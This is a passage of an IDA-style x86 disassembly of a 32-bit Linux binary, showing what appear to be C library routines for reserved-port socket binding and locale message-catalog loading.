; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066834:				; CODE XREF: sub_8066800+1Ej
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_80667C0

loc_806683E:				; CODE XREF: sub_8066800+2Fj
		test	eax, eax
		jnz	short loc_8066848

loc_8066842:				; CODE XREF: sub_8066800+17j
					; sub_8066800+23j
		xor	eax, eax
		jmp	short loc_806684D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066848:				; CODE XREF: sub_8066800+40j
		mov	eax, 1

loc_806684D:				; CODE XREF: sub_8066800+44j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066800	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066858	proc near

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8066464
		add	esp, 8
		test	eax, eax
		jz	short loc_80668A0
		lea	eax, [ebx+104h]
		push	eax
		push	esi
		call	sub_80667C0
		add	esp, 8
		test	eax, eax
		jz	short loc_80668A0
		lea	eax, [ebx+10Ch]
		push	eax
		push	esi
		call	sub_8064FBC
		test	eax, eax
		jz	short loc_80668A0
		mov	eax, 1
		jmp	short loc_80668A2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80668A0:				; CODE XREF: sub_8066858+17j
					; sub_8066858+2Bj ...
		xor	eax, eax

loc_80668A2:				; CODE XREF: sub_8066858+43j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066858	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80668AC	proc near		; DATA XREF: sub_805DA10+EEo
					; sub_805DA10+110o

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	esi
		push	ebx
		push	18h
		lea	ebx, [ebp+var_18]
		push	ebx
		call	sub_806626C
		add	esp, 8
		mov	[ebp+var_20], ebx
		lea	esi, [esi]

loc_80668C8:				; CODE XREF: sub_80668AC+114j
		mov	edx, [ebp+var_20]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_80666A0
		add	esp, 8
		test	eax, eax
		jnz	short loc_80668FC
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_80666A0
		call	sub_8064E74
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx], 0FFFFFFFAh
		xor	eax, eax
		jmp	loc_80669F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80668FC:				; CODE XREF: sub_80668AC+2Ej
		cmp	[ebp+var_18], 0
		jnz	short loc_8066918
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_80666A0
		call	sub_8064E74
		xor	eax, eax
		jmp	loc_80669F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066918:				; CODE XREF: sub_80668AC+54j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_1C], ecx
		cmp	ecx, 1
		jz	short loc_8066934
		cmp	ecx, 2
		jz	loc_80669C8
		jmp	loc_80669D8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066934:				; CODE XREF: sub_80668AC+75j
		mov	eax, [ebp+var_C]
		inc	eax
		push	eax
		call	malloc
		mov	edi, eax
		mov	eax, [ebp+var_C]
		push	eax
		push	edi
		mov	eax, [ebp+var_10]
		push	eax
		call	bcopy
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax+edi], 0
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	malloc
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		push	eax
		push	ebx
		mov	eax, [ebp+var_8]
		push	eax
		call	bcopy
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+ebx], 0
		add	esp, 20h
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_80666A0
		call	sub_8064E74
		mov	eax, ds:dword_807EB8C
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		push	ebx
		mov	eax, [ebp+var_C]
		push	eax
		push	edi
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	eax, ds:dword_807EB90
		call	eax
		mov	esi, eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx
		add	esp, 20h
		push	edi
		call	free
		push	ebx
		call	free
		add	esp, 8
		test	esi, esi
		jz	loc_80668C8
		jmp	short loc_80669EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80669C8:				; CODE XREF: sub_80668AC+7Aj
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_80666A0
		call	sub_8064E74
		jmp	short loc_80669EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80669D8:				; CODE XREF: sub_80668AC+80j
		mov	ecx, [ebp+var_20]
		push	ecx
		push	offset sub_80666A0
		call	sub_8064E74
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx

loc_80669EE:				; CODE XREF: sub_80668AC+11Aj
					; sub_80668AC+12Aj
		mov	eax, 1

loc_80669F3:				; CODE XREF: sub_80668AC+49j
					; sub_80668AC+66j
		lea	esp, [ebp+var_2C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80668AC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066A00	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	4
		push	eax
		push	edx
		call	sub_8065120
		test	eax, eax
		jz	short loc_8066A20
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066A20:				; CODE XREF: sub_8066A00+14j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8066A00	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066A28	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_806510C
		test	eax, eax
		jz	short loc_8066A48
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066A48:				; CODE XREF: sub_8066A28+12j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8066A28	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066A50	proc near		; CODE XREF: sub_8063B04+B8p
					; sub_80641C8+1C8p

var_1C		= byte ptr -1Ch
var_10		= word ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		jz	short loc_8066A80
		cmp	word ptr [ebx],	2
		jz	short loc_8066A94
		mov	__errno, 60h
		mov	eax, 0FFFFFFFFh
		jmp	loc_8066B11
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066A80:				; CODE XREF: sub_8066A50+11j
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		call	sub_806626C
		mov	[ebp+var_10], 2
		add	esp, 8

loc_8066A94:				; CODE XREF: sub_8066A50+17j
		cmp	ds:word_807E768, 0
		jnz	short loc_8066AB7
		call	getpid
		mov	ecx, 1A8h
		cdq
		idiv	ecx
		add	dx, 258h
		mov	ds:word_807E768, dx

loc_8066AB7:				; CODE XREF: sub_8066A50+4Cj
		mov	eax, 0FFFFFFFFh
		mov	__errno, 62h
		xor	esi, esi

loc_8066AC8:				; CODE XREF: sub_8066A50+BFj
		cmp	__errno, 62h
		jnz	short loc_8066B11
		mov	ax, ds:word_807E768
		inc	ds:word_807E768
		xchg	al, ah
		mov	[ebx+2], ax
		cmp	ds:word_807E768, 3FFh
		jle	short loc_8066AF8
		mov	ds:word_807E768, 258h

loc_8066AF8:				; CODE XREF: sub_8066A50+9Dj
		push	10h
		push	ebx
		push	edi
		call	bind
		add	esp, 0Ch
		inc	esi
		cmp	esi, 1A7h
		jg	short loc_8066B11
		test	eax, eax
		jl	short loc_8066AC8

loc_8066B11:				; CODE XREF: sub_8066A50+28j
					; sub_8066A50+7Fj ...
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066A50	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066B1C	proc near

var_4C		= byte ptr -4Ch
var_40		= byte ptr -40h
var_38		= word ptr -38h
var_28		= dword	ptr -28h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+38h], 0
		jl	short loc_8066B45
		mov	eax, [esi+50h]
		lea	edx, [ebp+var_40]
		push	edx
		push	esi
		mov	eax, [eax+8Ch]
		call	eax
		add	esp, 8
		test	eax, eax
		jge	short loc_8066B4C

loc_8066B45:				; CODE XREF: sub_8066B1C+10j
		xor	edi, edi
		jmp	short loc_8066B65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066B4C:				; CODE XREF: sub_8066B1C+27j
		mov	ax, [ebp+var_38]
		and	ax, 0F000h
		cmp	ax, 2000h
		setz	al
		movzx	edi, al
		mov	ebx, [ebp+var_28]
		test	ebx, ebx
		jnz	short loc_8066B6A

loc_8066B65:				; CODE XREF: sub_8066B1C+2Bj
		mov	ebx, 400h

loc_8066B6A:				; CODE XREF: sub_8066B1C+47j
		push	0
		push	0FFFFFFFFh
		push	22h
		push	3
		push	ebx
		push	0
		call	mmap
		mov	edx, eax
		add	esp, 18h
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_8066B8C
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8066BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066B8C:				; CODE XREF: sub_8066B1C+66j
		push	1
		lea	eax, [ebx+edx]
		push	eax
		push	edx
		push	esi
		call	sub_8061B6C
		add	esp, 10h
		test	edi, edi
		jz	short loc_8066BB3
		mov	eax, [esi+38h]
		push	eax
		call	sub_80672AC
		test	eax, eax
		jz	short loc_8066BB3
		or	dword ptr [esi], 200h

loc_8066BB3:				; CODE XREF: sub_8066B1C+82j
					; sub_8066B1C+8Fj
		mov	eax, 1

loc_8066BB8:				; CODE XREF: sub_8066B1C+6Dj
		lea	esp, [ebp+var_4C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066B1C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066BC4	proc near		; CODE XREF: sub_8062CF8+37p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_8079288
		mov	edx, [eax+0Ch]
		add	edx, 100h
		mov	dword_8078FA0, edx
		mov	edx, [eax+18h]
		add	edx, 200h
		mov	dword_8078FA8, edx
		mov	eax, [eax+1Ch]
		add	eax, 200h
		mov	dword_8078FA4, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8066BC4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8066BFC	proc near		; CODE XREF: sub_8062D4C+330p
					; sub_8062D4C+883p

var_68		= byte ptr -68h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= word ptr -38h
var_2C		= dword	ptr -2Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_44], 0
		mov	eax, [ebx]
		cmp	byte ptr [eax],	0
		jnz	short loc_8066C70
		push	offset aLc_all_0 ; "LC_ALL"
		call	secure_getenv
		mov	[ebx], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_8066C2E
		cmp	byte ptr [eax],	0
		jnz	short loc_8066C43

loc_8066C2E:				; CODE XREF: sub_8066BFC+2Bj
		mov	ecx, [ebp+arg_0]
		mov	eax, ds:dword_806AA34[ecx*4]
		push	eax
		call	secure_getenv
		mov	[ebx], eax
		add	esp, 4

loc_8066C43:				; CODE XREF: sub_8066BFC+30j
		cmp	dword ptr [ebx], 0
		jz	short loc_8066C4F
		mov	eax, [ebx]
		cmp	byte ptr [eax],	0
		jnz	short loc_8066C5E

loc_8066C4F:				; CODE XREF: sub_8066BFC+4Aj
		push	offset aLang_0	; "LANG"
		call	secure_getenv
		mov	[ebx], eax
		add	esp, 4

loc_8066C5E:				; CODE XREF: sub_8066BFC+51j
		cmp	dword ptr [ebx], 0
		jz	short loc_8066C6A
		mov	eax, [ebx]
		cmp	byte ptr [eax],	0
		jnz	short loc_8066C70

loc_8066C6A:				; CODE XREF: sub_8066BFC+65j
		mov	dword ptr [ebx], offset	aLocal ; "local"

loc_8066C70:				; CODE XREF: sub_8066BFC+18j
					; sub_8066BFC+6Cj
		mov	[ebp+var_54], esp
		mov	ecx, [ebp+arg_0]
		mov	ecx, ds:dword_806AA34[ecx*4]
		mov	[ebp+var_50], ecx
		mov	ecx, [ebx]
		mov	[ebp+var_5C], ecx
		xor	al, al
		mov	edi, [ebp+var_5C]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	edi, [ebp+var_50]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	edi, [eax-1]
		lea	eax, [edx+edi*2+1Bh]
		and	al, 0FCh
		sub	esp, eax
		mov	esi, esp
		push	2Fh
		mov	ecx, [ebp+var_5C]
		push	ecx
		call	strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_8066CDC
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	eax, [ebx]
		push	eax
		push	offset aSS_0	; "%s/%s"
		push	esi
		call	sprintf
		add	esp, 10h
		jmp	short loc_8066CF6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066CDC:				; CODE XREF: sub_8066BFC+C6j
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	eax, [ebx]
		push	eax
		push	offset aUsrShareLocale ; "/usr/share/locale"
		push	offset aSSS_0	; "%s/%s/%s"
		push	esi
		call	sprintf
		add	esp, 14h

loc_8066CF6:				; CODE XREF: sub_8066BFC+DDj
		push	0
		push	esi
		call	open
		mov	[ebp+var_48], eax
		add	esp, 8
		test	eax, eax
		jl	loc_8066EB8
		lea	eax, [ebp+var_40]
		push	eax
		mov	ecx, [ebp+var_48]
		push	ecx
		push	1
		call	fstat
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8066D8B
		mov	ax, [ebp+var_38]
		and	ax, 0F000h
		cmp	ax, 4000h
		jnz	short loc_8066D94
		mov	ecx, [ebp+var_48]
		push	ecx
		call	close
		push	offset aSys_	; "/SYS_"
		push	0
		push	esi
		call	strchr
		add	esp, 8
		push	eax
		call	sub_8067300
		mov	edx, eax
		lea	eax, [edi+1]
		push	eax
		mov	ecx, [ebp+var_50]
		push	ecx
		push	edx
		call	memcpy
		add	esp, 0Ch
		push	0
		push	esi
		call	open
		mov	[ebp+var_48], eax
		add	esp, 14h
		test	eax, eax
		jl	loc_8066EB8
		lea	eax, [ebp+var_40]
		push	eax
		mov	ecx, [ebp+var_48]
		push	ecx
		push	1
		call	fstat
		test	eax, eax
		jge	short loc_8066D94

loc_8066D8B:				; CODE XREF: sub_8066BFC+124j
		mov	esp, [ebp+var_54]
		jmp	loc_8066EAF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066D94:				; CODE XREF: sub_8066BFC+132j
					; sub_8066BFC+18Dj
		mov	esp, [ebp+var_54]
		mov	ecx, __errno
		mov	[ebp+var_58], ecx
		push	0
		mov	ecx, [ebp+var_48]
		push	ecx
		push	2
		push	1
		mov	eax, [ebp+var_2C]
		push	eax
		push	0
		call	mmap
		mov	[ebp+var_4C], eax
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8066E39
		cmp	__errno, 26h
		jnz	loc_8066EAF
		mov	eax, [ebp+var_2C]
		push	eax
		call	malloc
		mov	[ebp+var_4C], eax
		add	esp, 4
		test	eax, eax
		jz	loc_8066EAF
		mov	esi, [ebp+var_2C]
		mov	edi, [ebp+var_4C]
		test	esi, esi
		jle	short loc_8066E30
		lea	esi, [esi]

loc_8066DF0:				; CODE XREF: sub_8066BFC+232j
		push	esi
		push	edi
		mov	ecx, [ebp+var_48]
		push	ecx
		call	read
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jg	short loc_8066E28
		mov	ecx, [ebp+var_4C]
		push	ecx
		call	free
		add	esp, 4
		test	ebx, ebx
		jnz	loc_8066EAF
		mov	__errno, 16h
		jmp	loc_8066EAF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066E28:				; CODE XREF: sub_8066BFC+206j
		add	edi, ebx
		sub	esi, ebx
		test	esi, esi
		jg	short loc_8066DF0

loc_8066E30:				; CODE XREF: sub_8066BFC+1F0j
		mov	ecx, [ebp+var_58]
		mov	__errno, ecx

loc_8066E39:				; CODE XREF: sub_8066BFC+1C2j
		mov	eax, [ebp+arg_0]
		xor	eax, 51472CAh
		mov	ecx, [ebp+var_4C]
		cmp	[ecx], eax
		jnz	short loc_8066E6C
		mov	[ebp+var_44], 0
		jmp	short loc_8066EC0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066E54:				; CODE XREF: sub_8066BFC+417j
		push	ebx
		call	free
		mov	__errno, 16h
		add	esp, 4
		jmp	short loc_8066E9F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066E6C:				; CODE XREF: sub_8066BFC+24Aj
		mov	[ebp+var_44], 1
		mov	ecx, [ebp+var_4C]
		mov	dl, [ecx+3]
		shl	edx, 18h
		movzx	eax, byte ptr [ecx+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [ecx+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [ecx]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		xor	eax, 51472CAh
		cmp	edx, eax
		jz	short loc_8066EC0

loc_8066E9F:				; CODE XREF: sub_8066BFC+26Bj
					; sub_8066BFC+34Bj ...
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_4C]
		push	ecx
		call	munmap
		add	esp, 8

loc_8066EAF:				; CODE XREF: sub_8066BFC+192j
					; sub_8066BFC+1CBj ...
		mov	ecx, [ebp+var_48]
		push	ecx
		call	close

loc_8066EB8:				; CODE XREF: sub_8066BFC+10Aj
					; sub_8066BFC+176j
		xor	eax, eax
		jmp	loc_8067033
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066EC0:				; CODE XREF: sub_8066BFC+253j
					; sub_8066BFC+2A1j
		mov	ebx, [ebp+var_4C]
		add	ebx, 4
		cmp	[ebp+var_44], 0
		jnz	short loc_8066ED4
		mov	ecx, [ebp+var_4C]
		mov	eax, [ecx+4]
		jmp	short loc_8066EF1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066ED4:				; CODE XREF: sub_8066BFC+2CEj
		mov	dl, [ebx+3]
		shl	edx, 18h
		movzx	eax, byte ptr [ebx+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [ebx+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [ebx]
		or	eax, edx

loc_8066EF1:				; CODE XREF: sub_8066BFC+2D6j
		mov	ecx, [ebp+arg_0]
		cmp	ds:dword_806BFB0[ecx*4], eax
		ja	short loc_8066F3D
		mov	ebx, [ebp+var_4C]
		add	ebx, 4
		cmp	[ebp+var_44], 0
		jnz	short loc_8066F14
		mov	ecx, [ebp+var_4C]
		mov	eax, [ecx+4]
		jmp	short loc_8066F31
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066F14:				; CODE XREF: sub_8066BFC+30Bj
		mov	dl, [ebx+3]
		shl	edx, 18h
		movzx	eax, byte ptr [ebx+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [ebx+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [ebx]
		or	eax, edx

loc_8066F31:				; CODE XREF: sub_8066BFC+313j
		lea	eax, ds:8[eax*4]
		cmp	[ebp+var_2C], eax
		jg	short loc_8066F4C

loc_8066F3D:				; CODE XREF: sub_8066BFC+2FFj
		mov	__errno, 16h
		jmp	loc_8066E9F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066F4C:				; CODE XREF: sub_8066BFC+33Fj
		mov	ebx, [ebp+var_4C]
		add	ebx, 4
		cmp	[ebp+var_44], 0
		jnz	short loc_8066F60
		mov	ecx, [ebp+var_4C]
		mov	eax, [ecx+4]
		jmp	short loc_8066F7D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066F60:				; CODE XREF: sub_8066BFC+35Aj
		mov	dl, [ebx+3]
		shl	edx, 18h
		movzx	eax, byte ptr [ebx+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [ebx+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [ebx]
		or	eax, edx

loc_8066F7D:				; CODE XREF: sub_8066BFC+362j
		lea	eax, ds:0Ch[eax*4]
		push	eax
		call	malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_8066E9F
		mov	ecx, [ebp+var_4C]
		mov	[ebx], ecx
		mov	eax, [ebp+var_2C]
		mov	[ebx+4], eax
		mov	esi, [ebp+var_4C]
		add	esi, 4
		cmp	[ebp+var_44], 0
		jnz	short loc_8066FB4
		mov	eax, [ecx+4]
		jmp	short loc_8066FD1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066FB4:				; CODE XREF: sub_8066BFC+3B0j
		mov	dl, [esi+3]
		shl	edx, 18h
		movzx	eax, byte ptr [esi+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [esi+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [esi]
		or	eax, edx

loc_8066FD1:				; CODE XREF: sub_8066BFC+3B5j
		mov	[ebx+8], eax
		xor	esi, esi
		cmp	esi, eax
		jnb	short loc_8067028
		xor	edi, edi

loc_8066FDC:				; CODE XREF: sub_8066BFC+42Aj
		mov	ecx, [ebp+var_4C]
		lea	ecx, [ecx+edi+8]
		mov	[ebp+var_5C], ecx
		cmp	[ebp+var_44], 0
		jnz	short loc_8066FF0
		mov	eax, [ecx]
		jmp	short loc_8067010
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066FF0:				; CODE XREF: sub_8066BFC+3EEj
		mov	ecx, [ebp+var_5C]
		mov	dl, [ecx+3]
		shl	edx, 18h
		movzx	eax, byte ptr [ecx+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [ecx+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [ecx]
		or	eax, edx

loc_8067010:				; CODE XREF: sub_8066BFC+3F2j
		cmp	[ebx+4], eax
		jle	loc_8066E54
		add	eax, [ebx]
		mov	[ebx+esi*4+0Ch], eax
		add	edi, 4
		inc	esi
		cmp	[ebx+8], esi
		ja	short loc_8066FDC

loc_8067028:				; CODE XREF: sub_8066BFC+3DCj
		mov	ecx, [ebp+var_48]
		push	ecx
		call	close
		mov	eax, ebx

loc_8067033:				; CODE XREF: sub_8066BFC+2BEj
		lea	esp, [ebp+var_68]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066BFC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8067040	proc near		; CODE XREF: sub_8062CF8+43p
					; sub_8062D4C+3E2p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, __errno
		test	ebx, ebx
		jz	short loc_806708A
		cmp	dword ptr [ebx], 0
		jz	short loc_806708A
		mov	eax, [ebx+4]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	munmap
		add	esp, 8
		test	eax, eax
		jge	short loc_8067084
		cmp	__errno, 26h
		jnz	short loc_806707E
		mov	eax, [ebx]
		push	eax
		call	free
		add	esp, 4

loc_806707E:				; CODE XREF: sub_8067040+31j
		mov	__errno, esi

loc_8067084:				; CODE XREF: sub_8067040+28j
		push	ebx
		call	free

loc_806708A:				; CODE XREF: sub_8067040+10j
					; sub_8067040+15j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8067040	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8067094	proc near		; CODE XREF: sub_8063B04+1F6p
					; sub_80641C8+1FEp

var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h

		push	ebp
